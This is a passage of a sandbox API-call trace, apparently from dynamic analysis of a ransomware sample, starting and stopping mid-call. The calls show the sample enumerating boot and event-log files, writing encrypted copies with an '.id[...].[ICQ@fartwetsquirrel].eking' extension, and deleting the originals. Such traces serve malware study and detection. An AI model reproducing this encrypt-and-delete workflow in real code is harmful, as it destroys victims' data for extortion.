lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.630] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.631] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=45984) returned 1 [0217.631] CloseHandle (hObject=0x318) returned 1 [0217.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0217.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0217.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.631] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.631] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.632] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=74080) returned 1 [0217.632] CloseHandle (hObject=0x318) returned 1 [0217.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0217.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0217.632] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.632] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.632] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.633] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=54168) returned 1 [0217.633] CloseHandle (hObject=0x318) returned 1 [0217.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0217.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0217.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.633] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.633] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.634] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=92576) returned 1 [0217.634] CloseHandle (hObject=0x318) returned 1 [0217.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0217.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0217.634] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.634] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.635] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.635] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=12192) returned 1 [0217.635] CloseHandle (hObject=0x318) returned 1 [0217.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0217.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0217.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.635] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.636] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.636] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=76128) returned 1 [0217.636] CloseHandle (hObject=0x318) returned 1 [0217.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0217.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0217.636] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.636] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.637] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.637] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=77152) returned 1 [0217.637] CloseHandle (hObject=0x318) returned 1 [0217.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0217.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0217.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.637] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.638] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.638] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=44960) returned 1 [0217.638] CloseHandle (hObject=0x318) returned 1 [0217.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0217.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0217.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.639] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.639] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0217.639] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=77144) returned 1 [0217.639] CloseHandle (hObject=0x318) returned 1 [0217.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0217.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0217.639] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0217.640] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0217.640] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0218.779] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=76640) returned 1 [0218.779] CloseHandle (hObject=0x370) returned 1 [0218.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0218.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0218.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0218.780] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.780] SetEvent (hEvent=0x2b8) returned 1 [0218.781] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0219.104] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8192) returned 1 [0219.104] CloseHandle (hObject=0x348) returned 1 [0219.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0219.104] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0219.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x10026 [0219.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootsect.bak.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0219.114] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0219.115] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0219.115] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0219.115] CreateFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\bootsect.bak.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x10026, hTemplateFile=0x0) returned 0x370 [0219.117] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2000, lpOverlapped=0x0) returned 1 [0219.118] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2010, lpOverlapped=0x0) returned 1 [0219.119] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0219.119] CloseHandle (hObject=0x348) returned 1 [0219.120] CloseHandle (hObject=0x370) returned 1 [0219.121] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0219.122] SetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTSECT.BAK.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", dwFileAttributes=0x27) returned 1 [0219.122] SetEvent (hEvent=0x2b8) returned 1 [0219.123] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0219.131] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0219.131] CloseHandle (hObject=0x370) returned 1 [0219.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0219.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0219.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0219.131] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0219.131] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0219.131] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0219.131] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0219.132] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0219.142] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0219.144] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0219.144] CloseHandle (hObject=0x370) returned 1 [0219.144] CloseHandle (hObject=0x348) returned 1 [0219.148] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0219.150] SetEvent (hEvent=0x2b8) returned 1 [0219.150] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0219.150] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0219.150] CloseHandle (hObject=0x348) returned 1 [0219.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0219.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20 [0219.151] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0219.151] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0219.151] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0219.151] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0219.151] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\internet explorer.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0220.077] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0220.084] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0220.087] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0220.087] CloseHandle (hObject=0x348) returned 1 [0220.088] CloseHandle (hObject=0x370) returned 1 [0220.093] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1 [0220.095] SetEvent (hEvent=0x2b8) returned 1 [0220.096] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0220.096] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0220.096] CloseHandle (hObject=0x370) returned 1 [0220.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0220.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 0x20 [0220.097] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0220.097] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0220.097] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.097] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0220.097] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0220.098] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0220.103] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, 